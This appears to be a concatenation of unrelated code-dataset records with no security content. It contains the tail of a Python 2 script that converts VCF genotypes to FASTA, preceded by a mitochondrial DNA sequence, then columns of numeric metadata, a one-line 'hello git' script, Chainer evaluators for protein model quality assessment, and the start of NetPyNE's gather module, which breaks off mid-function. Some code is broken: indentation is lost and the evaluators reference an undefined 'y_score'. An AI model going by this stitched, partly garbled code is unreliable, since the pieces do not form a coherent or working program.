AGCAGTCTGCGCCCTTACACAAAATGACATCAAAAAAATCGTAGCCTTCTCCACTTCAAGTCAACTAGGACTCATAATAGTTACAATCGGCATCAACCAACCACACCTAGCATTCCTGCACATCTGTACCCACGCCTTCTTCAAAGCCATACTATTTATGTGCTCCGGGTCCATCATCCACAACCTTAACAATGAACAAGATATTCGAAAAATAGGAGGACTACTCAAAACCATACCTCTCACTTCAACCTCCCTCACCATTGGCAGCCTAGCATTAGCAGGAATACCTTTCCTCACAGGTTTCTACTCCAAAGACCACATCATCGAAACCGCAAACATATCATACACAAACGCCTGAGCCCTATCTATTACTCTCATCGCTACCTCCCTGACAAGCGCCTATAGCACTCGAATAATTCTTCTCACCCTAACAGGTCAACCTCGCTTCCCCACCCTTACTAACATTAACGAAAATAACCCCACCCTACTAAACCCCATTAAACGCCTGGCAGCCGGAAGCCTATTCGCAGGATTTCTCATTACTAACAACATTTCCCCCGCATCCCCCTTCCAAACAACAATCCCCCTCTACCTAAAACTCACAGCCCTCGCTGTCACTTTCCTAGGACTTCTAACAGCCCTAGACCTCAACTACCTAACCAACAAACTTAAAATAAAATCCCCACTATGCACATTTTATTTCTCCAACATACTCGGATTCTACCCTAGCATCACACACCGCACAATCCCCTATCTAGGCCTTCTTACGAGCCAAAACCTGCCCCTACTCCTCCTAGACCTAACCTGACTAGAAAAGCTATTACCTAAAACAATTTCACAGCACCAAATCTCCACCTCCATCATCACCTCAACCCAAAAAGGCATAATTAAACTTTACTTCCTCTCTTTCTTCTTCCCACTCATCCTAACCCTACTCCTAATCACATAACCTATTCCCCCGAGCAATCTCAATTACAATATATACACCAACAAACAATGTTCAACCAGTAACTACTACTAATCAACGCCCATAATCATACAAAGCCCCCGCACCAATAGGATCCTCCCGAATCAACCCTGACCCCTCTCCTTCATAAATTATTCAGCTTCCTACACTATTAAAGTTTACCACAACCACCACCCCATCATACTCTTTCACCCACAGCACCAATCCTACCTCCATCGCTAACCCCACTAAAACACTCACCAAGACCTCAACCCCTGACCCCCATGCCTCAGGATACTCCTCAATAGCCATCGCTGTAGTATATCCAAAGACAACCATCATTCCCCCTAAATAAATTAAAAAAACTATTAAACCCATATAACCTCCCCCAAAATTCAGAATAATAACACACCCGACCACACCGCTAACAATCAATACTAAACCCCCATAAATAGGAGAAGGCTTAGAAGAAAACCCCACAAACCCCATTACTAAACCCACACTCAACAGAAACAAAGCATACATCATTATTCTCGCACGGACTACAACCACGACCAATGATATGAAAAACCATCGTTGTATTTCAACTACAAGAACACCAATGACCCCAATACGCAAAACTAACCCCCTAATAAAATTAATTAACCACTCATTCATCGACCTCCCCACCCCATCCAACATCTCCGCATGATGAAACTTCGGCTCACTCCTTGGCGCCTGCCTGATCCTCCAAATCACCACAGGACTATTCCTAGCCATGCACTACTCACCAGACGCCTCAACCGCCTTTTCATCAATCGCCCACATCACTCGAGACGTAAATTATGGCTGAATCATCCGCTACCTTCACGCCAATGGCGCCTCAATATTCTTTATCTGCCTCTTCCTACACATCGGGCGAGGCCTATATTACGGATCATTTCTCTACTCAGAAACCTGAAACATCGGCATTATCCTCCTGCTTGCAACTATAGCAACAGCCTTCATAGGCTATGTCCTCCCGTGAGGCCAAATATCATTCTGAGGGGCCACAGTAATTACAAACTTACTATCCGCCATCCCATACATTGGGACAGACCTAGTTCAATGAATCTGAGGAGGCTACTCAGTAGACAGTCCCACCCTCACACGATTCTTTACCTTTCACTTCATCTTGCCCTTCATTATTGCAGCCCTAGCAACACTCCACCTCCTATTCTTGCACGAAACGGGATCAAACAACCCCCTAGGAATCACCTCCCATTCCGATAAAATCACCTTCCACCCTTACTACACAATCAAAGACGCCCTCGGCTTACTTCTCTTCCTTCTCTCCTTAATGACATTAACACTATTCTCACCAGACCTCCTAGGCGACCCAGACAATTATACCCTAGCCAACCCCTTAAACACCCCTCCCCACATCAAGCCCGAATGATATTTCCTATTCGCCTACACAATTCTCCGATCCGTCCCTAACAAACTAGGAGGCGTCCTTGCCCTATTACTATCCATCCTCATCCTAGCAATAATCCCCATCCTCCATATATCCAAACAACAAAGCATAATATTTCGCCCACTAAGCCAATCACTTTATTGACTCCTAGCCGCAGACCTCCTCATTCTAACCTGAATCGGAGGACAACCAGTAAGCTACCCTTTTACCATCATTGGACAAGTAGCATCCGTACTATACTTCACAACAATCCTAATCCTAATACCAACTATCTCCCTAATTGAAAACAAAATACTCAAATGGGCCTGTCCTTGTAGTATAAACTAATACACCAGTCTTGTAAACCGGAGATGAAAACCTTTTTCCAAGGACAAATCAGAGAAAAAGTCTTTAACTCCACCATTAGCACCCAAAGCTAAGATTCTAATTTAAACTATTCTCTGTTCTTTCATGGGGAAGCAGATTTGGGTACCACCCAAGTATTGACTCACCCATCAACAACCGCTATGTATTTCGTACATTACTGCCAGCCACCATGAATATTGTACGGTACCATAAATACTTGACCACCTGTAGTACATAAAAACCCAATCCACATCAAAACCCCCTCCCCATGCTTACAAGCAAGTACAGCAATCAACCCTCAACTATCACACATCAACTGCAACTCCAAAGCCACCCCTCACCCACTAGGATACCAACAAACCTACCCACCCTTAACAGTACATAGTACATAAAGCCATTTACCGTACATAGCACATTACAGTCAAATCCCTTCTCGTCCCCATGGATGACCCCCCTCAGATAGGGGTCCCTTGACCACCATCCTCCGTGAAATCAATATCCCGCACAAGAGTGCTACTCTCCTCGCTCCGGGCCCATAACACTTGGGGGTAGCTAAAGTGAACTGTATCCGACATCTGGTTCCTACTTCAGGGTCATAAAGCCTAAATAGCCCACACGTTCCCCTTAAATAAGACATCACGATG"
blank_seq = str(missing) * 16569
# OPEN THE VCF FILE
if verbose:
print 'OPENING VCF FILE'
if vcf_file.endswith('.gz'):
vcf_fh=gzip.open(vcf_file,'r')
else:
vcf_fh=open(vcf_file,'r')
# OPEN THE FASTA FILE
if verbose:
print 'OPENING FASTA FILE'
outfile = open(outfile, 'w')
# PROCESS THE VCF FILE
if verbose:
print 'PROCESSING THE VCF FILE'
zseqNames = [] # Create an empty list for sequence names
snp_info = [] # Create an empty list for sequence information (chromosome, position, SNP ID)
for line in tqdm(vcf_fh): # For each line in the VCF file, do:
line = line.strip() # Strip white space
if line.startswith("##"):
pass # Skip lines starting with ##
elif line.startswith("#"):
if verbose:
print 'RETRIEVING SEQUENCE NAMES'
seqNames = ['ADNI_' + x.strip('"') for x in line.split('\t')[9:]] # Separate the line at tab-delimiters, then add every element beyond the 10th (9) indice to the list seqNames
sequences = {name:blank_seq for name in seqNames} # Create a dictionary entry for each of the sequence names
else:
##split VCF line into a list
vcfrecord = line.split('\t') # Split the line at tab-delimiters and place the line into a new variable
SNP = int(vcfrecord[1])
##create an index of fasta position - position of SNP in reference
snp_info.append(vcfrecord[0] + '\t' + vcfrecord[1] + '\t' + vcfrecord[2]) # Append the 1st, 2nd, and 3rd elements into the snp_info list
##create a list of alleles
alleles = [vcfrecord[3]] # Create a new list where allele information is temporarily stored
for x in vcfrecord[4].split(","):
alleles.append(x) # If there are two alternative alleles, split the string based on the comma-delimiter and append to alleles
##check genotype values
if len(vcfrecord[9:]) == len(seqNames): #If the number of genotype records (i.e. number of elements beyond the 10th element in a line) is equal to the number of sequences in sequence names, do:
for i, gt in enumerate(vcfrecord[9:]): # in this, i mean index
gt = gt.split(":")[0] # Split the genotype at the colon-delimiter and disregard everything beyond it
pattern = re.compile('[\|\/]') # Set to the pattern to split the genotype string at | for phased genotypes or / for unphased
(mgt,pgt) = pattern.split(gt) # Split the genotypes (maternal on the left, paternal on the right)
#mgt = gt.split("/")[0]
#pgt = gt.split("/")[1]
if mgt != '.': # If the maternal genotype doesn't have missing information:
tmp = list(sequences[seqNames[i]])
tmp[SNP] = str(alleles[int(mgt)])
sequences[seqNames[i]] = "".join(tmp)
else:
tmp = list(sequences[seqNames[i]])
tmp[SNP] = str(missing)
sequences[seqNames[i]] = "".join(tmp)
# WRITE THE FASTA FILE
if inc_ref:
outfile.write('>' + str(rCRS_tag) + '\n' + str(rCRS_seq) + '\n')
for key, value in sequences.iteritems():
outfile.write('>' + str(key) + '\n' + str(value) + '\n')
# CLOSE THE FILES
outfile.close()
vcf_fh.close()
if __name__=="__main__":
main()
| 194.66055
| 16,584
| 0.924357
| 649
| 21,218
| 30.158706
| 0.326656
| 0.004292
| 0.005211
| 0.002759
| 0.024115
| 0.012466
| 0.007153
| 0.003474
| 0
| 0
| 0
| 0.001633
| 0.047695
| 21,218
| 109
| 16,585
| 194.66055
| 0.967039
| 0.078754
| 0
| 0.164384
| 0
| 0
| 0.87086
| 0.849431
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0.013699
| 0.068493
| null | null | 0.068493
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2b610c50c03d754847cfb843148e42630348e623
| 198
|
py
|
Python
|
hello_git.py
|
zhengwenhong/landsat578-water
|
6cd9c651804fc488db0b8a0c1b020f40eb75979b
|
[
"MIT"
] | null | null | null |
hello_git.py
|
zhengwenhong/landsat578-water
|
6cd9c651804fc488db0b8a0c1b020f40eb75979b
|
[
"MIT"
] | null | null | null |
hello_git.py
|
zhengwenhong/landsat578-water
|
6cd9c651804fc488db0b8a0c1b020f40eb75979b
|
[
"MIT"
] | 5
|
2021-04-28T06:20:31.000Z
|
2021-11-03T14:45:20.000Z
|
print('Hello git, this is luo xin')
print('Hello git, this is zhang jinhua')
print('Hello git, this is huang zhixuan')
print('Hello git, this is xiong rui')
print('Hello git, this is zheng wenhong')
| 39.6
| 41
| 0.727273
| 35
| 198
| 4.114286
| 0.428571
| 0.347222
| 0.451389
| 0.590278
| 0.659722
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146465
| 198
| 5
| 42
| 39.6
| 0.852071
| 0
| 0
| 0
| 0
| 0
| 0.748744
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
51145f2a49849bc6262d72ced7a9cf00b2e0bfbc
| 25,271
|
py
|
Python
|
src/training/evaluator.py
|
yutake27/P3CMQA
|
d25fc470d57267797ceea5614f22553656c50dbd
|
[
"MIT"
] | null | null | null |
src/training/evaluator.py
|
yutake27/P3CMQA
|
d25fc470d57267797ceea5614f22553656c50dbd
|
[
"MIT"
] | 2
|
2021-02-15T06:32:14.000Z
|
2021-05-24T09:11:24.000Z
|
src/training/evaluator.py
|
yutake27/P3CMQA
|
d25fc470d57267797ceea5614f22553656c50dbd
|
[
"MIT"
] | null | null | null |
import copy
import os
from functools import reduce
from pathlib import Path
import chainer
import chainer.functions as F
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import six
from chainer import configuration, cuda, function
from chainer import reporter as reporter_module
from chainer.dataset import convert
from chainer.training.extensions import Evaluator
from chainermn import CommunicatorBase
from sklearn import metrics
from tqdm import tqdm
def _to_list(a):
"""convert value `a` to list
Args:
a: value to be convert to `list`
Returns (list):
"""
if isinstance(a, (int, float)):
return [a, ]
else:
# expected to be list or some iterable class
return a
def plot_roc(y_true, y_score, out_name):
fpr, tpr, thresholds = metrics.roc_curve(y_true=y_true, y_score=y_score)
auc = metrics.auc(fpr, tpr)
plt.clf()
plt.plot(fpr, tpr, label='ROC curve (area = %.3f)' % auc)
plt.legend()
plt.title('ROC curve', fontsize=16)
plt.xlabel('False Positive Rate', fontsize=16)
plt.ylabel('True Positive Rate', fontsize=16)
plt.grid(True)
plt.savefig(out_name)
class Classification_Evaluator(Evaluator):
"""Evaluator which calculates auc and correlation
Note that this Evaluator is only applicable to binary classification task.
Args:
iterator: Dataset iterator for the dataset to calculate pearson.
It can also be a dictionary of iterators. If this is just an
iterator, the iterator is registered by the name ``'main'``.
target: Link object or a dictionary of links to evaluate. If this is
just a link object, the link is registered by the name ``'main'``.
converter: Converter function to build input arrays and true label.
:func:`~chainer.dataset.concat_examples` is used by default.
It is expected to return input arrays of the form
`[x_0, ..., x_n, t]`, where `x_0, ..., x_n` are the inputs to
the evaluation function and `t` is the true label.
device: Device to which the training data is sent. Negative value
indicates the host memory (CPU).
eval_hook: Function to prepare for each evaluation process. It is
called at the beginning of the evaluation. The evaluator extension
object is passed at each call.
eval_func: Evaluation function called at each iteration. The target
link to evaluate as a callable is used by default.
name (str): name of this extension. When `name` is None,
`default_name='validation'` which is defined in super class
`Evaluator` is used as extension name. This name affects to the
reported key name.
pos_labels (int or list): labels of the positive class, other classes
are considered as negative.
ignore_labels (int or list or None): labels to be ignored.
`None` is used to not ignore all labels.
Attributes:
converter: Converter function.
device: Device to which the training data is sent.
eval_hook: Function to prepare for each evaluation process.
eval_func: Evaluation function called at each iteration.
pos_labels (list): labels of the positive class
ignore_labels (list): labels to be ignored.
"""
def __init__(self, iterator, target, comm, label_name, converter=convert.concat_examples,
device=None, eval_hook=None, eval_func=None, name=None,
pos_labels=1, ignore_labels=None, path_data=None):
super(Classification_Evaluator, self).__init__(
iterator, target, converter=converter, device=device,
eval_hook=eval_hook, eval_func=eval_func)
self.rank = comm.rank
self.name = name
self.pos_labels = _to_list(pos_labels)
self.ignore_labels = _to_list(ignore_labels)
self.comm = comm
self.label_name = label_name
self.path_data = path_data
def __call__(self, trainer=None):
"""Executes the evaluator extension.
Unlike usual extensions, this extension can be executed without passing
a trainer object. This extension reports the performance on validation
dataset using the :func:`~chainer.report` function. Thus, users can use
this extension independently from any trainer by manually configuring
a :class:`~chainer.Reporter` object.
Args:
trainer (~chainer.training.Trainer): Trainer object that invokes
this extension. It can be omitted in case of calling this
extension manually.
Returns:
dict: Result dictionary that contains mean statistics of values
reported by the evaluation function.
"""
# set up a reporter
reporter = reporter_module.Reporter()
if self.name is not None:
prefix = self.name + '/'
else:
prefix = ''
for name, target in six.iteritems(self._targets):
reporter.add_observer(prefix + name, target)
reporter.add_observers(prefix + name, target.namedlinks(skipself=True))
with reporter:
with configuration.using_config('train', False):
result = self.evaluate_roc_corr(trainer=trainer)
reporter_module.report(result)
return result
def evaluate_roc_corr(self, trainer):
iterator = self._iterators['main']
eval_func = self.eval_func or self._targets['main']
if self.eval_hook:
self.eval_hook(self)
if hasattr(iterator, 'reset'):
iterator.reset()
it = iterator
else:
it = copy.copy(iterator)
y_total = np.array([]).reshape([0, len(self.label_name)])
t_total = np.array([]).reshape([0, len(self.label_name)])
protein_id_total = np.array([]).reshape([0, len(self.label_name)])
for batch in it:
in_arrays = self.converter(batch, self.device)
with chainer.no_backprop_mode(), chainer.using_config('train', False):
y = eval_func(*in_arrays[:-2])
t = in_arrays[-2]
protein_id = in_arrays[-1]
# y = F.sigmoid(y)
y_data = cuda.to_cpu(y.data)
t_data = cuda.to_cpu(t)
protein_id = cuda.to_cpu(protein_id)
y_total = np.vstack([y_total, y_data])
t_total = np.vstack([t_total, t_data])
protein_id_total = np.vstack([protein_id_total, protein_id])
updater = trainer.updater
epoch = str(updater.epoch)
out_dir = Path(trainer.out)
observation = {}
for label_index, label in enumerate(self.label_name):
y = y_total[:, label_index]
t = t_total[:, label_index]
protein_id = protein_id_total[:, label_index]
index = np.where(t != -1)[0]
y = y[index]
t = t[index]
protein_id = protein_id[index]
gather_data = self.comm.gather(np.vstack([t, y, protein_id]))
if self.rank == 0:
gather_data = np.concatenate(gather_data, axis=1)
gather_t = np.array(gather_data[0], dtype=np.int)
gather_y = np.array(gather_data[1], dtype=np.float32)
gather_protein_id = np.array(gather_data[2], dtype=np.int)
global_score = []
global_label = []
target_name = []
model_path = []
for row, item in self.path_data.iterrows():
model_index = np.where(gather_protein_id==row)[0]
if len(model_index) > 0:
global_score.append(np.mean(F.sigmoid(gather_y[model_index]).data))
global_label.append(item['gdtts'])
target_name.append(item['dir_name'])
model_path.append(item['path'])
df = pd.DataFrame({'global_score':global_score, 'global_label':global_label, 'target_name':target_name, 'model_path': model_path})
pearson = df.groupby('target_name').corr(method='pearson')['global_score'].mean(level=1)['global_label']
spearman = df.groupby('target_name').corr(method='spearman')['global_score'].mean(level=1)['global_label']
csv_out_name = out_dir/(epoch+label+'_df.csv')
df.to_csv(csv_out_name)
roc_out_name = out_dir/(epoch+'iteration_'+label+'_roc.png')
y_score = F.sigmoid(gather_y).data
plot_roc(y_true=gather_t, y_score=y_score, out_name=roc_out_name)
roc_auc = metrics.roc_auc_score(gather_t, y_score)
np.savez((out_dir/epoch).with_suffix('.npz'), local_label=gather_t, local_score=y_score, protein_id=gather_protein_id)
with reporter.report_scope(observation):
reporter.report({'roc_auc_'+label: roc_auc}, self._targets['main'])
reporter.report({'loss': F.sigmoid_cross_entropy(gather_y, gather_t).data},
self._targets['main'])
reporter.report({'accuracy': F.binary_accuracy(gather_y, gather_t).data}, self._targets['main'])
reporter.report({'pearson': pearson}, self._targets['main'])
reporter.report({'spearman': spearman}, self._targets['main'])
return observation
class MultiClassification_Evaluator(Evaluator):
"""Evaluator which calculates auc and correlation
Note that this Evaluator is only applicable to binary classification task.
Args:
iterator: Dataset iterator for the dataset to calculate pearson.
It can also be a dictionary of iterators. If this is just an
iterator, the iterator is registered by the name ``'main'``.
target: Link object or a dictionary of links to evaluate. If this is
just a link object, the link is registered by the name ``'main'``.
converter: Converter function to build input arrays and true label.
:func:`~chainer.dataset.concat_examples` is used by default.
It is expected to return input arrays of the form
`[x_0, ..., x_n, t]`, where `x_0, ..., x_n` are the inputs to
the evaluation function and `t` is the true label.
device: Device to which the training data is sent. Negative value
indicates the host memory (CPU).
eval_hook: Function to prepare for each evaluation process. It is
called at the beginning of the evaluation. The evaluator extension
object is passed at each call.
eval_func: Evaluation function called at each iteration. The target
link to evaluate as a callable is used by default.
name (str): name of this extension. When `name` is None,
`default_name='validation'` which is defined in super class
`Evaluator` is used as extension name. This name affects to the
reported key name.
pos_labels (int or list): labels of the positive class, other classes
are considered as negative.
ignore_labels (int or list or None): labels to be ignored.
`None` is used to not ignore all labels.
Attributes:
converter: Converter function.
device: Device to which the training data is sent.
eval_hook: Function to prepare for each evaluation process.
eval_func: Evaluation function called at each iteration.
pos_labels (list): labels of the positive class
ignore_labels (list): labels to be ignored.
"""
def __init__(self, iterator, target, comm, label_name, class_num,
converter=convert.concat_examples,
device=None, eval_hook=None, eval_func=None, name=None,
pos_labels=1, ignore_labels=None, path_data=None):
super(MultiClassification_Evaluator, self).__init__(
iterator, target, converter=converter, device=device,
eval_hook=eval_hook, eval_func=eval_func)
self.rank = comm.rank
self.class_num = class_num
self.name = name
self.pos_labels = _to_list(pos_labels)
self.ignore_labels = _to_list(ignore_labels)
self.comm = comm
self.label_name = label_name
self.path_data = path_data
def __call__(self, trainer=None):
"""Executes the evaluator extension.
Unlike usual extensions, this extension can be executed without passing
a trainer object. This extension reports the performance on validation
dataset using the :func:`~chainer.report` function. Thus, users can use
this extension independently from any trainer by manually configuring
a :class:`~chainer.Reporter` object.
Args:
trainer (~chainer.training.Trainer): Trainer object that invokes
this extension. It can be omitted in case of calling this
extension manually.
Returns:
dict: Result dictionary that contains mean statistics of values
reported by the evaluation function.
"""
# set up a reporter
reporter = reporter_module.Reporter()
if self.name is not None:
prefix = self.name + '/'
else:
prefix = ''
for name, target in six.iteritems(self._targets):
reporter.add_observer(prefix + name, target)
reporter.add_observers(prefix + name, target.namedlinks(skipself=True))
with reporter:
with configuration.using_config('train', False):
result = self.evaluate_corr(trainer=trainer)
reporter_module.report(result)
return result
def evaluate_corr(self, trainer):
iterator = self._iterators['main']
eval_func = self.eval_func or self._targets['main']
if self.eval_hook:
self.eval_hook(self)
if hasattr(iterator, 'reset'):
iterator.reset()
it = iterator
else:
it = copy.copy(iterator)
y_total = np.array([]).reshape([0, self.class_num])
t_total = np.array([], dtype=np.int)
protein_id_total = np.array([], dtype=np.int)
for batch in it:
in_arrays = self.converter(batch, self.device)
with chainer.no_backprop_mode(), chainer.using_config('train', False):
y = eval_func(*in_arrays[:-2])
t = in_arrays[-2]
protein_id = in_arrays[-1]
# y = F.sigmoid(y)
y_data = cuda.to_cpu(y.data)
t_data = cuda.to_cpu(t)
protein_id = cuda.to_cpu(protein_id)
y_total = np.vstack([y_total, y_data])
t_total = np.concatenate([t_total, t_data])
protein_id_total = np.concatenate([protein_id_total, protein_id])
updater = trainer.updater
epoch = str(updater.epoch)
out_dir = Path(trainer.out)
observation = {}
gather_data = self.comm.gather(np.hstack([t_total.reshape(-1,1), y_total, protein_id_total.reshape(-1,1)]))
if self.rank == 0:
gather_data = np.concatenate(gather_data)
gather_t = gather_data[:, 0].astype(np.int)
gather_y = gather_data[:, 1:-1].astype(np.float32)
gather_protein_id = gather_data[:, -1].astype(np.int)
global_score = []
global_label = []
target_name = []
model_path = []
for row, item in self.path_data.iterrows():
model_index = np.where(gather_protein_id==row)[0]
if len(model_index) > 0:
local_score = np.argmax(gather_y[model_index], axis=1)/self.class_num
global_score.append(np.mean(local_score))
global_label.append(item['gdtts'])
target_name.append(item['dir_name'])
model_path.append(item['path'])
df = pd.DataFrame({'global_score':global_score, 'global_label':global_label, 'target_name':target_name, 'model_path': model_path})
pearson = df.groupby('target_name').corr(method='pearson')['global_score'].mean(level=1)['global_label']
spearman = df.groupby('target_name').corr(method='spearman')['global_score'].mean(level=1)['global_label']
csv_out_name = out_dir/(epoch+'_df.csv')
df.to_csv(csv_out_name)
np.savez((out_dir/epoch).with_suffix('.npz'), local_label=gather_t, local_score=y_score, protein_id=gather_protein_id)
with reporter.report_scope(observation):
reporter.report({'loss': F.softmax_cross_entropy(gather_y, gather_t).data},
self._targets['main'])
reporter.report({'accuracy': F.accuracy(gather_y, gather_t).data}, self._targets['main'])
reporter.report({'pearson': pearson}, self._targets['main'])
reporter.report({'spearman': spearman}, self._targets['main'])
return observation
class Regression_Evaluator(Evaluator):
"""Evaluator which calculates correlation
Args:
iterator: Dataset iterator for the dataset to calculate pearson.
It can also be a dictionary of iterators. If this is just an
iterator, the iterator is registered by the name ``'main'``.
target: Link object or a dictionary of links to evaluate. If this is
just a link object, the link is registered by the name ``'main'``.
converter: Converter function to build input arrays and true label.
:func:`~chainer.dataset.concat_examples` is used by default.
It is expected to return input arrays of the form
`[x_0, ..., x_n, t]`, where `x_0, ..., x_n` are the inputs to
the evaluation function and `t` is the true label.
device: Device to which the training data is sent. Negative value
indicates the host memory (CPU).
eval_hook: Function to prepare for each evaluation process. It is
called at the beginning of the evaluation. The evaluator extension
object is passed at each call.
eval_func: Evaluation function called at each iteration. The target
link to evaluate as a callable is used by default.
name (str): name of this extension. When `name` is None,
`default_name='validation'` which is defined in super class
`Evaluator` is used as extension name. This name affects to the
reported key name.
pos_labels (int or list): labels of the positive class, other classes
are considered as negative.
ignore_labels (int or list or None): labels to be ignored.
`None` is used to not ignore all labels.
Attributes:
converter: Converter function.
device: Device to which the training data is sent.
eval_hook: Function to prepare for each evaluation process.
eval_func: Evaluation function called at each iteration.
pos_labels (list): labels of the positive class
ignore_labels (list): labels to be ignored.
"""
def __init__(self, iterator, target, comm, label_name, converter=convert.concat_examples,
device=None, eval_hook=None, eval_func=None, name=None,
pos_labels=1, ignore_labels=None, path_data=None):
super(Regression_Evaluator, self).__init__(
iterator, target, converter=converter, device=device,
eval_hook=eval_hook, eval_func=eval_func)
self.rank = comm.rank
self.name = name
self.pos_labels = _to_list(pos_labels)
self.ignore_labels = _to_list(ignore_labels)
self.comm = comm
self.label_name = label_name
self.path_data = path_data
def __call__(self, trainer=None):
"""Executes the evaluator extension.
Unlike usual extensions, this extension can be executed without passing
a trainer object. This extension reports the performance on validation
dataset using the :func:`~chainer.report` function. Thus, users can use
this extension independently from any trainer by manually configuring
a :class:`~chainer.Reporter` object.
Args:
trainer (~chainer.training.Trainer): Trainer object that invokes
this extension. It can be omitted in case of calling this
extension manually.
Returns:
dict: Result dictionary that contains mean statistics of values
reported by the evaluation function.
"""
# set up a reporter
reporter = reporter_module.Reporter()
if self.name is not None:
prefix = self.name + '/'
else:
prefix = ''
for name, target in six.iteritems(self._targets):
reporter.add_observer(prefix + name, target)
reporter.add_observers(prefix + name, target.namedlinks(skipself=True))
with reporter:
with configuration.using_config('train', False):
result = self.evaluate_corr(trainer=trainer)
reporter_module.report(result)
return result
def evaluate_corr(self, trainer):
iterator = self._iterators['main']
eval_func = self.eval_func or self._targets['main']
if self.eval_hook:
self.eval_hook(self)
if hasattr(iterator, 'reset'):
iterator.reset()
it = iterator
else:
it = copy.copy(iterator)
y_total = np.array([]).reshape([0, len(self.label_name)])
t_total = np.array([]).reshape([0, len(self.label_name)])
protein_id_total = np.array([]).reshape([0, len(self.label_name)])
for batch in it:
in_arrays = self.converter(batch, self.device)
with chainer.no_backprop_mode(), chainer.using_config('train', False):
y = eval_func(*in_arrays[:-2])
t = in_arrays[-2]
protein_id = in_arrays[-1]
# y = F.sigmoid(y)
y_data = cuda.to_cpu(y.data)
t_data = cuda.to_cpu(t)
protein_id = cuda.to_cpu(protein_id)
y_total = np.vstack([y_total, y_data])
t_total = np.vstack([t_total, t_data])
protein_id_total = np.vstack([protein_id_total, protein_id])
updater = trainer.updater
epoch = str(updater.epoch)
out_dir = Path(trainer.out)
observation = {}
for label_index, label in enumerate(self.label_name):
y = y_total[:, label_index]
t = t_total[:, label_index]
protein_id = protein_id_total[:, label_index]
index = np.where(t != -1)[0]
y = y[index]
t = t[index]
protein_id = protein_id[index]
gather_data = self.comm.gather(np.vstack([t, y, protein_id]))
if self.rank == 0:
gather_data = np.concatenate(gather_data, axis=1)
gather_t = np.array(gather_data[0], dtype=np.float32)
gather_y = np.array(gather_data[1], dtype=np.float32)
gather_protein_id = np.array(gather_data[2], dtype=np.int)
global_score = []
global_label = []
target_name = []
model_path = []
for row, item in self.path_data.iterrows():
model_index = np.where(gather_protein_id==row)[0]
if len(model_index) > 0:
global_score.append(np.mean(gather_y[model_index]))
global_label.append(item['gdtts'])
target_name.append(item['dir_name'])
model_path.append(item['path'])
df = pd.DataFrame({'global_score':global_score, 'global_label':global_label, 'target_name':target_name, 'model_path': model_path})
pearson = df.groupby('target_name').corr(method='pearson')['global_score'].mean(level=1)['global_label']
spearman = df.groupby('target_name').corr(method='spearman')['global_score'].mean(level=1)['global_label']
csv_out_name = out_dir/(epoch+label+'_df.csv')
df.to_csv(csv_out_name)
np.savez((out_dir/epoch).with_suffix('.npz'), local_label=gather_t, local_score=y_score, protein_id=gather_protein_id)
with reporter.report_scope(observation):
reporter.report({'loss': F.mean_squared_error(gather_y, gather_t).data},
self._targets['main'])
reporter.report({'accuracy': F.r2_score(gather_y, gather_t).data}, self._targets['main'])
reporter.report({'pearson': pearson}, self._targets['main'])
reporter.report({'spearman': spearman}, self._targets['main'])
return observation
| 47.591337
| 146
| 0.61442
| 3,190
| 25,271
| 4.686834
| 0.088715
| 0.026487
| 0.016052
| 0.015384
| 0.907297
| 0.892917
| 0.888235
| 0.888235
| 0.886429
| 0.886429
| 0
| 0.004299
| 0.291164
| 25,271
| 530
| 147
| 47.681132
| 0.830347
| 0.321515
| 0
| 0.771875
| 0
| 0
| 0.047514
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.034375
| false
| 0
| 0.05625
| 0
| 0.125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5147e591c185f580d995cc3080ccd58ca60c1253
| 34,848
|
py
|
Python
|
netpyne/sim/gather.py
|
FernandoSBorges/netpyne
|
e1a7adb56b94aa78f8461397319eb4e9754c2d75
|
[
"MIT"
] | null | null | null |
netpyne/sim/gather.py
|
FernandoSBorges/netpyne
|
e1a7adb56b94aa78f8461397319eb4e9754c2d75
|
[
"MIT"
] | null | null | null |
netpyne/sim/gather.py
|
FernandoSBorges/netpyne
|
e1a7adb56b94aa78f8461397319eb4e9754c2d75
|
[
"MIT"
] | null | null | null |
"""
Module for gathering data from nodes after a simulation
"""
from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals
from __future__ import absolute_import
from builtins import zip
from future import standard_library
standard_library.install_aliases()
import numpy as np
from ..specs import Dict, ODict
#------------------------------------------------------------------------------
# Gather data from nodes
#------------------------------------------------------------------------------
def gatherData(gatherLFP = True):
"""
Function for/to <short description of `netpyne.sim.gather.gatherData`>
Parameters
----------
gatherLFP : bool
<Short description of gatherLFP>
**Default:** ``True``
**Options:** ``<option>`` <description of option>
"""
from .. import sim
sim.timing('start', 'gatherTime')
## Pack data from all hosts
if sim.rank==0:
print('\nGathering data...')
# flag to avoid saving sections data for each cell (saves gather time and space; cannot inspect cell secs or re-simulate)
if not sim.cfg.saveCellSecs:
for cell in sim.net.cells:
cell.secs = None
cell.secLists = None
# flag to avoid saving conns data for each cell (saves gather time and space; cannot inspect cell conns or re-simulate)
if not sim.cfg.saveCellConns:
for cell in sim.net.cells:
cell.conns = []
# Store conns in a compact list format instead of a long dict format (cfg.compactConnFormat contains list of keys to include)
elif sim.cfg.compactConnFormat:
sim.compactConnFormat()
# remove data structures used to calculate LFP
if gatherLFP and sim.cfg.recordLFP and hasattr(sim.net, 'compartCells') and sim.cfg.createNEURONObj:
